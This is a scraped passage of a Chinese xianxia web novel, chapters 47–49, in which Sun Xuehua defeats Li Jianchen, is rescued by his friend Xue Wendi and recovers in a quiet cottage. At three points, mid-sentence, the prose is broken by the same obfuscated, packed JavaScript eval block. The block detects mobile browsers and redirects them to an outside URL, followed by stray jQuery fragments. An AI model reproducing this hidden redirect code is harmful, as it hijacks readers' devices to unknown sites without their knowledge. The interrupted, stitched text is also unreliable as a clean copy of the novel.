阿音又重复着不同的音节,那根飘带迅速扑向了她,尹晓棠以弦为刃,割断了那根金色飘带,并后撤两步,袖中飞出一张纸符,紧贴在对方额间。 阿音正要上前,忽然发觉自己动弹不得。 这张纸符上的力量,并不属于尹晓棠。 她的身躯在逐渐僵化,仿佛一根风干的枯木,立在原地。尹晓棠松了一口气,这是之前栾易山给她保命用的,方便她逃跑的时候拖延时间。她默默看了眼阿音,转身立于丘顶,那青铜鼎光芒万丈,鲜活的兽纹清晰可见。尹晓棠施术,拇指上的骨韘已发出警告,百兽正借着骨韘之力显形。尹晓棠神色一凛,拉开银弓,锋利的箭矢对准那尊青铜鼎。 一定可以做到的。 尹晓棠默念着,手指一松,那离弦之箭犹如飞鸟投林,冲破重重阻碍,正中那尊青铜鼎。 “砰!” 孙雪华、栾易山、宁展阳三人重重倒地,李见尘头一歪,神色微冷:“那小姑娘的箭,还不足以射落那尊青铜鼎,你不知道吗?” “我当然知道。”栾易山并不意外,“但小孩子总要给她一点机会。” “哼。” 李见尘一挥手,法阵结成,莲花花瓣迅速收拢,将三人牢牢锁在其间,尤其是孙雪华,那些花蕊似的灵锁几乎将他完全吸附,那深入骨髓的剧毒仿佛在这瞬间有了生命,食其骨血,吞其灵力,孙雪华闷哼一声,双手背在身后,仍紧紧地攥着那把雪色的长剑。 “只消片刻。”李见尘话只说了一半,笑着,“孙掌门,何不束手就擒?” 孙雪华不语,低眉敛目,沉静至极。 李见尘注视着他,忽然开口问道:“孙掌门,当年你以身殉道之时,也是这样的表情吗?” 明明正眼看人的时候那么冷漠,可低眉的瞬间,那悲天悯人的气息却又扑面而来。 李见尘抬手,只要他轻轻一握,就能将这人攥在掌心,大功告成。 “孙掌门,你还有别的话要对我说吗?” “放了其他人。” 李见尘沉下脸,孙雪华抬眼看他,目光如炬:“放了他们。” “痴人说梦。” 话音刚落,只见天地倒悬,江海翻腾,孙雪华只觉身上的灵锁骤然加重,他握紧手中长剑,抵住灵锁,撬开一丝缝隙,剑光微弱,但仍是撑起一片结界,捂住栾易山与宁展阳,以防他们被百兽撕咬。可这样,他就更是虚弱,汗水很快再次浸透了他额前的碎发。那张端庄威仪的脸,此刻也尽显狼狈,像落入泥潭的碎玉,人人都可以踩上一脚。 李见尘心头一颤,又一次走上前去,想捧起他的脸,却被人一口咬住了手背,当即见了血。李见尘吃痛地叫了一声,孙雪华松嘴,嘴角的鲜血也不知道是他的,还是自己的。 “多行不义必自毙。” 命悬一线,孙雪华依旧掷地有声,李见尘却是笑了:“那我等着。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762404|174439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天边的漩涡逐渐收拢,法阵也到了最后关头,孙雪华几人大有魂魄分离之势,远在山丘之顶的尹晓棠顿感不妙,持弓的手有了些许颤抖。 这是她带来的最后一支羽箭了。 若是再不能将青铜鼎射落,那孙前辈栾前辈他们必定十分危险。 “该死,怎么射不下来啊?我每天练功,就只有这点皮毛吗?” 尹晓棠忽感一阵酸楚,不行,不能在这个时候认输。她揉了揉发红的眼角,再次稳稳地拉开弓弦。 青铜鼎上有她的三支羽箭,其他的,或是被灵力震开,或是被雷火击碎,或是被漩涡吞噬。 尹晓棠收敛心神,奋力一搏,那离弦之箭正中原本的羽箭,劈碎尾端,将那锋利的箭镞顶了进去,只见那青铜鼎从这处开始分裂,原本咆哮四散的百兽忽然放缓了步伐。尹晓棠蹙眉,忽然想起山丘之下的金伯涛来,她纵身一跃,顺着他滚下去的踪迹一路往下狂奔,就见对方挂在一处树枝上,还在昏睡。尹晓棠顾不得许多,将他的羽箭全都抽了出来,爬上了树顶。 “你给我,下来!” “嗖——” 双箭齐发,那青铜鼎上的裂纹瞬间扩大,再也无法承担那骇人的力量,发出一声巨响,爆炸的气流席卷各处,尹晓棠被掀了个人仰马翻,从树上滚了下来。 “哎呀呀,好像那个小姑娘成功了。” 李见尘听见了这个动静,嘴角噙着笑,并没有半点意外的表情。 青铜鼎破,可这缚灵铸器之阵,却纹丝不动。 “我才是创造这个法阵的人,只有我才知晓,它的奥妙所在。” 李见尘很热衷于欣赏栾易山略感诧异的表情,对方很快回过神,哂笑一声:“狐狸精就是狐狸精。” “过奖过奖,我倒是希望孙掌门也能被我这只狐狸精迷住,可惜了。”李见尘说着,像第一次见面那样,摸了摸孙雪华的下巴,跟逗小狗似的。 不想,就在此时,孙雪华却突然破开了身上的灵锁,自下而上,一剑捅穿了他的肩膀。鲜血喷溅,孙雪华全身的重量都压在剑柄上,又刺入几分,李见尘先是一愣,接着大笑,一把抱紧了他。 “孙掌门,当真让我刮目相看。” 他紧贴着孙雪华的脸,附耳呢喃,尚且能用的右手轻轻抚摸着这人的脊背。 孙雪华喷出一口血来:“这法阵的阵眼,是你才对。” 缚灵铸器之阵,本就依附于施术者,那尊青铜鼎,不过是个诱饵。 孙雪华感觉自身灵力完全被抽空了,他几乎握不住剑,但他的身形却未曾移动半分。脚下的地面不断震颤,江水倒灌,冲入这个江心洲。 李见尘叹道:“你知道吗?我最后还是被宋漪摆了一道。我让金伯涛核对了所有宾客的信息,没有一个人耳后有道疤,那个玉佩,就只是一块石头。” “我救不了闻棋,所以并不介意,拉着你们一起去死。” 孙雪华感觉浑身上下都痛了起来,那是一种自内而外,发自肺腑的痛,痛得他每呼出一口气,都像在与死神拉锯。 整座江心洲轰然倒塌,所有人都被法阵拖着往江底石林而去。 就在这千钧一发之际,就见紫气东来,云蒸霞蔚,一道高亢的剑鸣震破九霄,结界应声而下,托着众人往岸边浮去。 “这是?” 栾易山一时奇怪,却见尹晓棠抱着块浮木,从远处飘了过来:“栾前辈!” 小姑娘大声呼喊着,栾易山这才发觉,她另一只手上还抓着昏迷的金伯涛,阿音的禁咒被解除,趴在她肩上,那双眼睛明明被飘带蒙着,可栾易山还是感觉,她正好奇地看着自己。 “先救人吧。” 眼下只能期望孙雪华平安无事,否则,此次风波过后,必有大乱。 47. 第 47 章 江水不竭,巨浪滔天。 孙雪华与李见尘一道沉入江底石林,那石林也纷纷倒塌,巨浪裹挟着碎石不断砸向他们。李见尘将他紧紧抱在怀里,单手施术,撑开一个坚固的结界,隔绝了这幽暗江底的一切声响与危险。 四周突然安静下来,安静到只能听见彼此的呼吸和心跳。 孙雪华感觉掌心的血已悄然凝固,那干涸的血迹将他的手与剑柄牢牢连接在一起,他动不了,不能动,更不敢动,他现在的视线十分模糊,要是稍有偏差,剑锋一歪,李见尘可能真的就死了。 死了不好吗? 孙雪华听见心底有另一个自己在说话,这个人,是这一场骗局的主谋,是始作俑者,是罪魁祸首,他不该死吗? 可是,他也好可怜。 一个人在那样冰冷潮湿的地宫里待了数百年,出来后,宗门倾覆,门生尽绝,最得意的弟子受尽屈辱,生死不能…… “小雪在想些什么呢?”李见尘呢喃着,“现在杀我,就是最好的时机。” 孙雪华闭着眼,意识开始涣散,连声音都小了许多,他问:“你后悔吗?” “后悔什么?我从来不后悔。”李见尘笑着,还是那轻佻、散漫的口吻,他原以为孙雪华会说些大道理,谆谆教导,循循善诱,可对方却说:“好可惜,你要是后悔的话,我就会原谅你了。” 李见尘一愣,就觉腰上一阵剧痛,孙雪华居然趁他不备,猛地屈膝一撞,借力从他怀中挣脱出来,那把长剑也随即拔了出来,原本被堵住的伤口顿时汩汩冒血,孙雪华横剑一劈,结界应声而裂,那鲜红的血液流融入滚滚江水中,消失不见。 李见尘捂着肩膀,哂笑着,那眼神似乎在说:“孙掌门,你可真狠心。” 孙雪华不语,正要再次挥剑,一块碎石猝不及防撞在他后背上,力量之大,直撞得他又吐出一大口鲜血,江水涌进七窍,意识差点在这一瞬间被冲垮。孙雪华眼前一黑,却挣扎着封住自己的奇经八脉,防止力量被全部抽走。 李见尘游了过来,被他横剑挡在身前,那双冷冽的眼睛里充斥着悲伤,朦胧闪烁的,也不知道是江水还是泪水。 李见尘捧住他的脸,想再靠近些,却被一道剑气所伤,推出去三尺远。 一个高马尾的霜衣剑客从天而降,一把抱住了孙雪华。李见尘一怔,顿时起了杀心,可对方并没有和他过多纠缠,剑锋所指,劈水断浪,带着孙雪华径直冲出了水面。 “哗啦!” 霜衣剑客背着重伤的孙雪华回到岸边,解开他身上的术法,掌心聚气,重新为他梳理脉络,灌入灵力。孙雪华重重地咳嗽了两声,又吐出几口淤血,那剑客急得大喊:“小雪!小雪?你没事吧?” 听到熟悉的声音,孙雪华才勉强睁开眼,可他怎么都找不到焦点,只能看见一个模糊的影子。 可再模糊,也足够了。 “小楼。”他喃喃着,抓住了友人的胳膊,“帮我个忙。” “什么?” 剑客俯下身,侧耳倾听,孙雪华小声道:“去我家,还有那个人,记着。” 他说得混乱颠倒,可剑客仍是听得清清楚楚,明明白白,连连点头道:“好,你放心,我一定帮你。” “嗯。”孙雪华紧紧抓着他的手,安心地昏睡过去。 “小雪?小雪?”剑客忙从腰间灵囊里找到一颗悬命丹,塞到好友嘴里,确认对方暂无性命之忧后,这才松了一口气,施术为其烘干身上的衣物和湿透的头发。 “哗啦——” 江面上又出现一个人影,他一抬头,就看见水下那个男人朝着这边走了过来。 “你就是小雪的好友?” “是,在下锁春谷,薛闻笛。” 霜衣剑客报上了名号,一双桃花眼灼灼有神,俊俏非常。 李见尘看了,妒火中烧,冷笑一声:“来得正好,黄泉路上,你们也能做个伴。” 薛闻笛蹙眉,小雪就是让自己带这个人回去?可他怎么看着,敌意如此之深?带回去真的不会有什么问题吗? 来不及多想,李见尘已然逼近,薛闻笛悍然出剑,剑鸣铮铮,一击即中,挑飞他手中长箫,左手顺势甩出一根银线,勾住那箫身,一把抢了过来。李见尘本就受了伤,根本不是现在的薛闻笛的对手,可他似是怒气上头,不管不顾地冲了过来,薛闻笛收剑入鞘,翻转剑身,剑柄正中他的膻中穴,一下打散了他的内息流转。李见尘喷出一口血来,薛闻笛抬手,一掌劈在他的后颈处,将人打晕过去,李见尘当场倒地,一头湿漉漉的长发凌乱地铺在淤泥地上,满脸血迹,十分狼狈。薛闻笛也给他喂了一颗悬命丹,防止他一口气上不来,直接去见阎王爷。 天边旋涡慢慢缩小,风暴渐息,雷火渐散,一缕日光若隐若现,一颗金珠自厚重云层中掉落,径直落入李见尘手中,薛闻笛眼神一瞥,这颗金珠不就是听海崖地宫内的那颗吗?这人难道是—— 他愣了愣,忽觉一阵急促的脚步声正向自己靠近,他猛地转身,一道凌厉的剑光正朝着他命门劈来,薛闻笛未曾拔剑,只用剑鞘横挡,翻身回刺,击中对方心口,那人后撤几步,踉跄着要倒,薛闻笛又是一脚,正中他心窝,踹得他连滚几圈,半天都没能爬起来。 定睛一看,那人双眼被覆,口衔金箔,不似寻常剑客。 薛闻笛直觉有些古怪,左手背在身后:“来者何人?” 对方不答,又持剑扑了过来,薛闻笛左手甩出一张灵符,符文显形,将他层层锁住。 剑客顿时不动了。 “鬼吗?” 薛闻笛不解,就在此时,又有一人匆匆赶至,薛闻笛还以为是这剑客的帮手,可来人见到此种情形,只长舒一口气:“谢过这位兄台。” “不谢。”薛闻笛颔首,那人眼神一瞥,见到躺在地上的孙雪华和李见尘,便要上前一探究竟,被薛闻笛拦下。 双方眼神交汇,彼此之间似乎都有些困惑。 “在下锁春谷薛闻笛,不知阁下上前所为何事?” 来人一听他的名字,愣了愣,单手握拳,道:“是谢某唐突了。” 薛闻笛正要说些什么,又见到了两个熟悉的身影。 “哟,今天是什么老朋友碰面的好日子吗?” 最先出声的是栾易山,他还是端着那副看谁都不爽的姿态,阴阳怪气的,薛闻笛听了,只是笑笑:“栾兄,好久不见。” “担不起,担不起。”栾易山见到这东一个西一个的都不省人事,只觉得头疼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762405|174439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扶着额头,半天没吭声。尹晓棠见了薛闻笛,却十分欣喜,可当着这么多人的面,她不好意思大喊大叫,只敢压低声音,小声说着:“薛前辈。” “尹姑娘,别来无恙。”薛闻笛也是高兴,尹晓棠摇摇头,再往那头看,又是满脸忧心,薛闻笛宽慰道:“小雪暂且无事,让他先睡一会儿吧。” “你准备带他们去哪儿?” 栾易山是个明眼人,见到这种情景,自然能猜到是怎么回事,薛闻笛只说不方便透露,希望他能体谅。 “不用我体谅,我本来也没兴趣。”栾易山一听就知道他们可能会去哪儿,便没问,只有尹晓棠傻乎乎地说:“薛前辈,你可要治好孙前辈,他应该受了不小的伤。” “嗯。”薛闻笛点点头,又看向栾易山,正要抱拳行礼,对方就嗤笑一声:“要走赶紧走吧,少一个人,就是少一张嘴,我还省了心呢。” 薛闻笛听了,嘴巴一张,刚要开口,又被栾易山打断:“你救的那些人全在岸上了,都还没醒,要走赶紧走,免得被人发现,事情闹大了,可就不好走了。” 薛闻笛还要说话,栾易山就睨了他一眼:“那个倒在地上的狐狸精,叫李见尘,是听海崖的人,他有两个属下,都是蒙着眼睛的,我要把他们都带回五柳山庄,你不要多问,专心照顾你的好友和那个狐狸精就行。等你们那边稳定下来,若有需要,再传书于我。” “嗯,多谢。”薛闻笛终于能向他致谢了,尹晓棠听得似懂非懂,可见了栾易山那斩钉截铁的模样,又不敢乱说话,只好选择沉默。 栾易山又抓住某人:“介绍一下,这位是谢照卿。” “谢兄。”薛闻笛不认识这人,便十分礼貌地行了个礼,谢照卿对他也是客气:“薛兄。” “你还真要叫他一声薛兄呢。”栾易山笑笑,话里有话,谢照卿咬牙:“你不说话没人把你当哑巴。” “我要是哑巴,你们就全都完蛋。”栾易山轻叹,“那就先这样,咱们解散吧,哦对,回头薛兄若是回了岁寒峰,就请代我们向各位师弟问好。” “栾易山,谢照卿,尹晓棠。” 他挨个儿点了遍名字,促狭不已。 薛闻笛没有听出其中深意,点头道:“好。” 谢照卿裹紧身上的披风,左手搭在右肩上,朝他微微颔首:“就请薛兄代谢某,向傅师弟和张师弟问好。” “好,薛某一定带到。” 言罢,薛闻笛便就地画了个传送阵,带着孙雪华和李见尘一同离开了。 “走,我们要去善后了。”栾易山大手一挥,抬脚便走,尹晓棠急急忙忙跟在他身后:“栾前辈,孙前辈他不会有事吧?” “除非他自己道心崩坏,否则,谁能耐他何?”栾易山大笑,“你就不要操心了,吉人自有天相。你有这闲工夫,不如好好想想,该怎么收拾这里的残局吧。” “啊?”尹晓棠一脸苦恼,秀气的眉毛都皱在了一起,真的认真思考起这个问题来。 栾易山不语,只仰头看向天空,一望无际的苍穹之下,一缕日光已经穿透云层,洒向了浩荡江面。 数见风雨,天地巨变,可这金乌依旧会振翅高飞,带来和平与期望。 栾易山轻叹,加快了脚步。 48. 第 48 章 孙雪华昏睡了许久。 梦中,他又一次回到了十六岁的那个夜晚。 那个杀机四伏的夜晚,冰冷的月光,血色的迷雾,下落不明的师妹,不知生死的友人,迢迢无期的归途,他一个人负剑走在无尽的黑夜中,怎么都找不到归山的路。他听见师父苍老的声音:“小雪,你答应过为师,要成为正道魁首,要让临渊百家登顶,你做到了吗?” “弟子尽力了。” 孙雪华想说话,喉咙里却怎么都发不出声响,身上像是压着个千斤重的石头,令他无法喘息。他眉头紧皱,努力地伸展开双手,想要起身,可无论如何都抬不起来胳膊。 孙雪华感到一阵强烈的窒息感,整个人仿佛仍然身处那滔滔江水中,不断下沉。 “吱呀——” 薛闻笛端着一碗刚熬好的汤药走了进来,一看友人一脸痛苦,顿时紧了心,忙放下药碗,轻声唤着:“小雪?小雪?” 对方蹙眉,眼睛始终没有睁开。 “被魇着了吗?”薛闻笛喃喃着,将孙雪华从床上扶起来,轻轻拍了拍他的背,叫着,“小雪,醒醒,醒醒。” 孙雪华眼睫微颤,靠在友人肩头,仍然没能醒来。 他在梦中遇见了薛闻笛。 对方满身是血地躺在无名土坡上,横雁的碎片散了一地,在冰冷的月光下闪烁着晦暗的微光。 孙雪华又听见一个声音对他说:“孙掌门,你若不降,所有人都会因你而死。” 他看见了那张总是笑盈盈的脸,那颗璀璨的金珠被托在掌心,漂亮璀璨,又极其血腥。 孙雪华攥紧右手,可右手空荡荡。 他的剑? 他没有剑。 长鲸行是临渊象征,而他不再是临渊掌门,所以那把名剑,不再属于他了。 孙雪华死死掐着掌心,盼着它流血,盼着那点痛苦可以让他尽早清醒过来。 可是掌心没有传来一点痛感。 薛闻笛掰开他的手,将自身灵气注入他的命门,为他驱散梦魇,孙雪华猛地睁开眼,额角落下几滴冷汗。他睡得太久了,久到一时茫然,居然看不清任何东西,他只能感觉到友人握着他的手,轻声说着:“小雪,没事的,小雪,你不要担心。” 薛闻笛胳膊一伸,揽过他的肩头,一下一下轻拍着:“没事的,小雪,我们在你家,没人会找到这里来。” 孙雪华的意识慢慢复苏,接着便是一阵强烈的眩晕,吐出一大口淤血来,薛闻笛想也没想,伸手用衣袖给他擦去嘴角的血渍。孙雪华剧烈地呕吐着,地上全是乌黑的血,他伏在床边,脸色惨白。薛闻笛一手横在他身前,防止他摔下去,一手聚气,顺着他的督脉,替他疏理气机。过了许久,孙雪华才觉得好受些,轻轻咳了两声,抬眼再看,除了地上一片狼藉,友人的衣袖也被他吐得一团糟。他心里难受,小声道:“对不起。” “你和我说什么对不起?”薛闻笛笑笑,仍然抱着他,哄着,“没事的,小雪,你不要担心,有我在这儿呢。” 孙雪华缓缓直起身,看了眼友人,忽又垂下眼帘,掩去满眼的悲伤。 薛闻笛端起那碗热药:“趁热喝吧,刚好不烫。” “嗯。”孙雪华捧着碗,慢慢喝完,直到一碗见底,薛闻笛问他:“你是不是做噩梦了,小雪?” 孙雪华微愣,一时不知道该从何说起。 “你梦到那年,我们被魔君追杀了吧?”薛闻笛直言道。 孙雪华更是一怔,低着头,指腹摩挲着碗沿,良久,才低声道:“嗯。” “梦到我死了?” “嗯。” 薛闻笛抿了抿唇:“小雪,你一定很难过吧?虽然你从来不说,但我知道你一定很难过。” 孙雪华不言,薛闻笛握住他的手:“但是小雪,我现在活着,大家都活着,你不要回头看,要继续往前走,你现在不是临渊掌门,只是你自己,这次好不容易下山游玩,自然要开心些。” “嗯。” 孙雪华并不是纠结之人,听了友人这番劝慰,心下便安宁许多,问道,“他呢?江心洲又怎么样了?” “那个人吗?在隔壁屋子,暂时还没醒。”薛闻笛说着,从灵囊中取出一封信笺,“至于江心洲,你自己看吧。” 孙雪华点点头,拆开那封信,是尹晓棠寄来的。 “你昏睡了大半个月,这封信是我前两天才收到的。” 孙雪华抬眸,有些意外:“我睡了这么久?” “嗯,你中毒了,那毒很烈,会侵蚀你的灵根,时日一久,你就会变成一个废人。好在你修为深厚,中毒的时间也不长,没有伤到根基,我日日给你喂药,直到这些毒血全部吐出来,就好了。” 薛闻笛眉眼舒展,明亮澄澈,孙雪华却有些奇怪:“你我都不擅长医理,这个毒,寻常大夫恐怕见都没见过,你是,怎么熬的药?” 薛闻笛一听,憨憨地笑了两声:“我,当然是请誉之来了一趟。” 孙雪华:“……” 薛闻笛双手合十,虔诚地向他认错:“好小雪,我知道你千叮咛万嘱咐,让我别说出去,可事出紧急,我也没办法,这才请誉之来的,你放心,我也告诉他不要乱说了。” 薛闻笛口中的誉之,姓文,单名恪,字誉之,是孙雪华的小师弟,经文典籍无所不晓,尤善医理,是临渊十分有名的博学之人。 孙雪华微叹:“但愿如此吧。” 薛闻笛眼神一转,指尖抵在鼻尖,一脸诚恳地说道:“我已经向誉之保证过一定会照顾好你,你就看在我这半个月任劳任怨的份上,饶了我吧。” 孙雪华垂眸,无声地笑了笑,说着:“我怎么会怪你呢?” 薛闻笛莞尔,说道:“这次多亏了栾兄从北地赶来,否则,我们很难从那江心洲脱身。” “嗯。” “李见尘的两个属下,都被栾兄带回五柳山庄了,尹姑娘来信说,他们目前暂时安好,让我们不要挂念,等过段时间,她再来看望你。” “嗯。”孙雪华望着信笺上小巧玲珑的字体,想起尹晓棠,叹道,“尹姑娘也是个勤奋有志之人。” 尹晓棠在信中洋洋洒洒写了许多事,绝 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尹晓棠又写:“还有宁展阳,他夜里边突然不见了。那天江心洲塌了,好多人溺了水,虽然都被救了上来,但都在昏睡。栾前辈请了些船夫,把他们都送回镇上客栈,让我暂时待在原地等他。” “我从白天等到晚上,实在是太困了,想睡觉,就听见身边有动静。” 尹晓棠那天夜里,困得睁不开眼,但她感觉有人摇了摇自己,她努力睁开眼,发觉是宁展阳,一脸茫然:“怎么了吗?” 那人只道:“谢过诸位救命之恩,宁展阳特来拜别。” “不用不用,先睡觉吧,明天再说。”尹晓棠睡眼惺忪,嘀咕了两句,就又要睡过去,宁展阳没有回答,朝她磕了两个头,转身就走了。 尹晓棠努力睁开眼,喃喃着:“别走啊,别走。” 你要是走了,回头我怎么和栾前辈交代啊? 尹晓棠眼皮一沉,又坠入无边梦境。 “我一觉睡醒,栾前辈就回来了,他没有问我宁展阳去了哪里,他只说,小孩子别问大人的事。”尹晓棠十分困惑地写下,“可我不是小孩子了,有什么事是不能问的?” “后来,我们就启程回五柳山庄了。我回来之后,仔细想想,我总觉得宁展阳是往江边走了,那个方向,就是江边的方向。他是不是坐船走了?他会去到哪里呢?” 尹晓棠很是懊恼:“我听阿音说,宁展阳是个孤儿,宋家没了,他能去哪儿呢?早知道我就不睡觉了,我应该站起来拦住他。虽然宁展阳打了我一鞭子,但我觉得他不是个坏人。” 孙雪华心情沉重,宁展阳能去哪儿呢?一个活着只为了复仇的人,一旦达成目的,他能去哪儿呢? 奈何桥上,不知他们主仆相认了没有。 信笺的最后,尹晓棠还祝他早日康复,早日重逢。 孙雪华默然,将那信笺收好,轻声道:“我想去看看他。” 薛闻笛笑笑:“好。” 孙雪华下了地,披了件外袍,在友人的陪伴下,推开了那扇已经上了年岁的屋门。 49. 第 49 章 李见尘未醒,安静地睡着,浓密的眼睫合成一道好看的弧度,平日里得理不饶人的嘴也轻轻抿着,神色宁静,清醒时明艳的五官带来的冲击力在这一瞬间融化,只留下一片柔软。 孙雪华站在他床边看了好一会儿,什么都没说,手搭在薛闻笛肩上,轻声道:“我们出去吧。” “嗯。” 薛闻笛没有多问,扶着他出了这间茅屋。 院子里还是那天离开时的模样。 只是薛闻笛摘下了窗下挂着的蓑衣、斗笠,在老旧的大门上贴了新的对联,连那个破旧的鸡笼也被他修缮一新,笼外新栽了两株月季,开得正艳。 “你一直没醒,我给这院子小修了一番。”薛闻笛指着那两株月季,“那是前几天,隔壁一位老婆婆送来的,我出门刚好碰见她,她说她家新开了月季,送我两株,一起栽到这院里。” 孙雪华垂眸,没有说话。 今天是个晴天,万里无云,碧蓝澄澈,初夏的风绕过屋檐,吹到发梢上,带来满怀的温暖。 薛闻笛找来两张矮脚凳,扶着友人坐下:“这也是我新做的。” 他笑着:“你家柜子里,还有你以前的衣服,我都洗了一遍,重新叠好放了回去,你现在穿,应该也合身。” 他说着,又有些为难:“不过那个人身量比你高,你的衣服他穿不了,我让我小师弟又寄了几件旧衣服来。” 话音未落,薛闻笛就感觉孙雪华脸色不对,他一直微低着头,垂着眼帘,一声不吭。 “小雪,你怎么了?哪里不舒服吗?” 孙雪华摇摇头,一滴泪从他眼角落了下来,砸在手背上,晕开一圈水渍。 薛闻笛一愣,默契地不再言语,只是揽着他的肩膀,轻轻拍了拍。 院子里格外宁静,只有路过的夏风知晓现在发生的一切。那些沉痛的、不安的情绪,在友人无言的安慰中,慢慢被抚平。孙雪华很快擦干了眼泪,恢复了平静,他道:“我梦见师父了,他问我,有没有完成他的遗愿,我说我尽力了。” “你确实尽力了啊,孙掌门不会怪你的。”薛闻笛安抚着,孙雪华却摇摇头:“这次宋家的事情,我没有处理好,我在最后一刻犹豫了。” 他脑海里闪过李见尘的脸,笑意盈盈的、玩世不恭的、无辜可怜的,每一副表情都烙印在他心里,变成血淋淋的伤疤,刺痛不已。 孙雪华轻叹:“我知道他别有目的,可我却一意孤行,选择了信任他,甚至以为自己可以扭转局面,最后却差点害了许多人的性命。” “我问心有愧。” 说到最后,孙雪华已然有些哽咽。 薛闻笛听了,哄道:“宋家的事情,我后来都听尹姑娘来信说明了,归根结底,是宋忱利欲熏心,害得李闻棋身死道消,害得自己家破人亡,是他咎由自取,怪不得别人。李见尘要为自己的弟子报仇,无可厚非,要论对错,他便错在漠视他人性命,差点走上宋忱的老路。可你已经尽力阻止了,而且那些人也被救了上来,伤害没有进一步扩大,你不要再自责了,眼下好好养伤才是。” 孙雪华沉默不语,薛闻笛又问:“小雪,李见尘手里的那颗珠子,就是我们借走的听海崖地宫里的那颗,是不是?” “嗯。” “你最后一刻犹豫,是不是因为他以此事为要挟?” “不全是。” 孙雪华也不知道该怎么形容他此刻的想法,思量半天,才再次开口:“小楼,我每次见到他,都很生气。” 薛闻笛一怔,神思微转,好像猜到了些什么。 孙雪华轻声说着:“我见到很多人,不管是敌人、路人,无论是谁,都很难激怒我,可我每次见到李见尘,都会生气,气他谎话连篇,反复无常,出尔反尔,还气他……” 他一顿,微微闭了闭眼:“我不知道我到底在气些什么。” 薛闻笛哑然,感觉自己似乎知道了答案,可他不敢乱说,只道:“小雪,你好好休息,这个问题,等你休息好了,再思考也不迟。” 孙雪华不言,薛闻笛又劝慰着:“小雪,不管你做任何决定,我都会和你一起承担这个决定带来的所有后果,所以你不要想太多,就算天塌下来,我也和你一起顶着。” 孙雪华心头一震,涌上一股难言的酸楚:“谢谢你。” “谢什么?下辈子我们也要做兄弟的。”薛闻笛眨眨眼,笑着哄道,“好啦好啦,再去睡会儿吧,别想太多了。” 孙雪华点点头,起身回屋,躺下来继续睡了。 薛闻笛又将屋子收拾了一下,就出门买了些新鲜的食材,晚上做了点简单的饭菜。他手艺很好,在师门中算是上乘的,只是自从出了锁春谷,他就极少下厨房了,孙雪华都没怎么吃过他做的饭。现在二人躲在这小小一隅,一边吃饭,一边诉说着彼此生活中的点滴琐事,烛火摇曳,月光皎洁,一种远离尘世的祥和安逸之感油然而生。孙雪华心情舒展许多,安心养起了伤。 薛闻笛点子多,是个活泼爽朗的性子,他除了侍花弄草,还买了几只小鸡崽回来。毛茸茸黄澄澄的小东西绕着孙雪华脚边跑,他就抓着一把米,一点点抛给它们,看它们啄米玩,也是十分有趣。薛闻笛还做了两根鱼竿,闲来无事,就带着孙雪华去不远处的池塘边钓鱼,为了不引人注目,他还特意做了两顶斗笠,戴在头上。两个人坐在高大的杨柳树下,守着鱼竿,聊着闲天。那些来池塘边浣洗衣物的姑娘、婶子、阿婆,瞧见他们,只当是游手好闲的小年轻,不曾在意。 孙雪华听着这人间万物的声响,由衷地感念起来:“小楼,冬天的时候,你来临渊看雪吧。我还没有正式邀请过你来临渊赏雪。” “啊?我还需要受邀吗?我不是想去就去?”薛闻笛打趣着,两眼放光,孙雪华莞尔:“也是。” “不过仔细想想,我好像真的没有在临渊好好赏过雪,今年冬天我一定去。”薛闻笛说着,忽然话锋一转,“说到这个,今年冬天一定很热闹吧,我这边就好几个人呢。” 孙雪华一听,笑着:“剩下的人我可管不着,你自己问小年吧。” “我不要,我让我师弟问去。”薛闻笛大笑,忽然感到鱼竿晃动,他赶忙手竿,一条两斤重的鲫鱼被拉了上来。 “今晚煮鱼汤喝。”薛闻笛美滋滋地说着,就听背后传来一个陌生的声音:“我不要喝鱼汤。” 他回头,就看见某人一脸幽怨地站着,面色发白,十分虚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762407|174439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弱的模样。 孙雪华蹙眉:“你伤得这么重,还要浪费力气在这种事情上面?” “是。” 来人是李见尘。 他今天忽然醒了过来,瞧见这陌生的环境,一开始还很困惑,直到他推开房门,感知到孙雪华的气息,才一路找了过来。刚到这池塘边,就看见两个人有说有笑,他更是气不打一处来,心里堵得慌,就用仅剩的灵力藏住自己的踪迹,慢慢往这边靠。 意图不言而喻。 “这种时候还在偷听,你到底要做什么?”孙雪华本来忘却的情愫又暗自上涌,语气就重了些,李见尘眼神一沉:“我的宝珠不见了,我来找找。不知二位,有没有见到?” 薛闻笛笑笑:“那颗宝珠我收起来了,我现在回去拿给你。” 他不声不响地起了身,顺带拉了孙雪华一把,李见尘脸色更是难看,站在原地,一动不动。薛闻笛礼貌地向他伸出手:“我扶你?” 李见尘:“……” 